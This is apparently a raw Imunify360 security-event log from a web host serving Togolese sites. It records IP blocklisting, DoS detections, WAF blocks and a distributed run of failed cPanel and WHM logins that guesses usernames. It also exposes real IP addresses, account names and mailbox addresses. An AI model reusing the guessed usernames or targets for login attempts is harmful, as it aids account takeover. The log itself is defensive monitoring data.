description:
Jun 22 21:19:05 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.209.190.136 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 65.110.40.143
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 65.110.40.143: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jun 22 21:19:35 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:21:21:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10183578&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782163270 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:21:21:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949606&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782163274 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 22 21:21:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.147.120
country_id: 3469034
description:
Jun 22 21:22:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.147.120 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [22/Jun/2026:21:22:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881450&pdata=https%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782163363 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.86.126.60
country_id: 6252001
description:
Jun 22 21:23:51 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.86.126.60 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.252.78.48
country_id: 298795
description:
212.252.78.48 - - [22/Jun/2026:21:24:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053017&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fwps-members%252Fkokouvi-lardja-arouna%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782163458 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/wps-members/kokouvi-lardja-arouna/" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.4 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.252.78.48


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-22 21:24:22 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.206.160.92
country_id: 3469034
description:
2026-06-22 21:26:22 dovecot_plain authenticator failed for H=(working.k1eyh34ykwtu5edqqzhz0ohxbb.nx.internal.cloudapp.net) [20.206.160.92]:53346: 535 Incorrect authentication data (set_id=controleur@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun 22 21:25:41 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.206.160.92
country_id: 3469034
description:
2026-06-22 21:26:28 dovecot_login authenticator failed for H=(working.k1eyh34ykwtu5edqqzhz0ohxbb.nx.internal.cloudapp.net) [20.206.160.92]:53346: 535 Incorrect authentication data (set_id=controleur@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.225.52.111
country_id: 290557
description:
Jun 22 21:26:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.225.52.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 22 21:29:03 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 65.110.40.18
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 65.110.40.18: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [22/Jun/2026:21:29:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12885870&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782163791 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 138.199.6.242
country_id: 2658434
description:
138.199.6.242 - - [22/Jun/2026:21:30:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250596&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782163825 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:138.199.6.242


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.233.73
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:194.180.233.73||TA:194.180.233.73||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 21:30:59 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 209.216.92.194
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/141.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.249
country_id: 2300660
description:
Jun 22 21:32:10 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.249 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.145.245.99
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/plus-de-50-demarches-administratives-digitalisees-au-togo HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jun 22 21:35:24 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:21:35:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7300295&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782164151 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:21:35:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131605&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782164152 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 21:36:55 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.124.239.254
country_id: 1210997
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/ustogo/wwwhlmesppb.html HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.124.239.254
country_id: 1210997
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/ustogo/wwwhlmesppb.html HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 65.110.40.37
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 65.110.40.37: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.209.190.136
country_id: 2635167
description:
Jun 22 21:38:51 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.209.190.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 22 21:39:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.249.90.133
country_id: 248816
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=602 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.249.90.133
country_id: 248816
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=602 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 22 21:42:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:21:44:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195814&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fnouveaux-diplomes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782164669 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/nouveaux-diplomes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:21:50:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712935&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782165005 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:21:50:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077126&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782165009 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [22/Jun/2026:21:53:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132074&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DbW9oYW1tZWQubXVzaHRhcUB0Y3MuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782165195 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=bW9oYW1tZWQubXVzaHRhcUB0Y3MuY29t" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 21:55:10 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.153.91.23
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/togo-les-pertes-post-recolte-reduites-lagriculture-optimisee-et-les-producteurs-heureux/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 67.209.155.44
country_id: 1522867
description:
2026-06-22 21:58:44 H=([67.209.155.44]) [67.209.155.44]:44093 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.194
country_id: 6252001
description:
Jun 22 21:59:49 ns5 pure-ftpd[2803229]: (?@205.210.31.194) [INFO] New connection from 205.210.31.194


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.137.212.23
country_id: 2750405
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-59.45.137.212.23||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-22 22:01:14 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.188.166.141
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/pnds-les-grands-objectifs-du-togo/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:22:04:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10327191&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782165841 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:22:04:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316393&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782165841 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 22 22:04:10 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 192.29.39.134
country_id: 1861060
description:
Denial of Service (DoS) attack was discovered from 192.29.39.134: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.50
country_id: 1814991
description:
123.6.49.50 - - [22/Jun/2026:22:13:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591387&pdata=http%253A%252F%252Fwww.lcr-adem.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782166399 HTTP/1.1" 302 0 www.lcr-adem.org "http://www.lcr-adem.org/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.50


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.82.158.125
country_id: 6252001
description:
[2026-06-22 22:13:24 +0000] info [whostmgrd] 74.82.158.125 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.86.126.60
country_id: 6252001
description:
Jun 22 22:15:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.86.126.60 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:22:18:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10011241&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782166731 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 51.68.148.113
country_id: 3017382
description:
Denial of Service (DoS) attack was discovered from 51.68.148.113: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 8.47.97.87
country_id: 6252001
description:
[2026-06-22 22:22:54 +0000] info [cpaneld] 8.47.97.87 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.179.232.92
country_id: 6252001
description:
[2026-06-22 22:23:02 +0000] info [cpaneld] 73.179.232.92 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.185.214.157
country_id: 6252001
description:
[2026-06-22 22:22:56 +0000] info [cpaneld] 47.185.214.157 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.129.182.240
country_id: 6252001
description:
[2026-06-22 22:23:05 +0000] info [cpaneld] 68.129.182.240 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.68.94.35
country_id: 6252001
description:
[2026-06-22 22:22:59 +0000] info [cpaneld] 71.68.94.35 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.30.218.236
country_id: 6252001
description:
[2026-06-22 22:23:11 +0000] info [cpaneld] 76.30.218.236 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.120.135.182
country_id: 6252001
description:
[2026-06-22 22:22:48 +0000] info [cpaneld] 74.120.135.182 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.89.71
country_id: 6252001
description:
[2026-06-22 22:23:14 +0000] info [cpaneld] 172.59.89.71 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.170.84.202
country_id: 6252001
description:
[2026-06-22 22:22:51 +0000] info [cpaneld] 76.170.84.202 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.165.54.5
country_id: 102358
description:
2026-06-22 22:24:49 dovecot_plain authenticator failed for H=(897f3l5weqha2ooqsy) [213.165.54.5]:50824: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.74
country_id: 130758
description:
Jun 22 22:26:57 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.74 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.96.20.245
country_id: 6252001
description:
[2026-06-22 22:29:20 +0000] info [cpaneld] 73.96.20.245 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.166.150.148
country_id: 6252001
description:
[2026-06-22 22:29:23 +0000] info [cpaneld] 47.166.150.148 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 22 22:28:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.86.16.135
country_id: 6252001
description:
[2026-06-22 22:29:25 +0000] info [cpaneld] 152.86.16.135 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.227.55.237
country_id: 6252001
description:
[2026-06-22 22:29:44 +0000] info [cpaneld] 98.227.55.237 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.5.153.160
country_id: 6252001
description:
[2026-06-22 22:29:49 +0000] info [cpaneld] 107.5.153.160 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.146.33.43
country_id: 6252001
description:
[2026-06-22 22:29:35 +0000] info [cpaneld] 76.146.33.43 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.184.238.254
country_id: 6252001
description:
[2026-06-22 22:29:37 +0000] info [cpaneld] 72.184.238.254 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
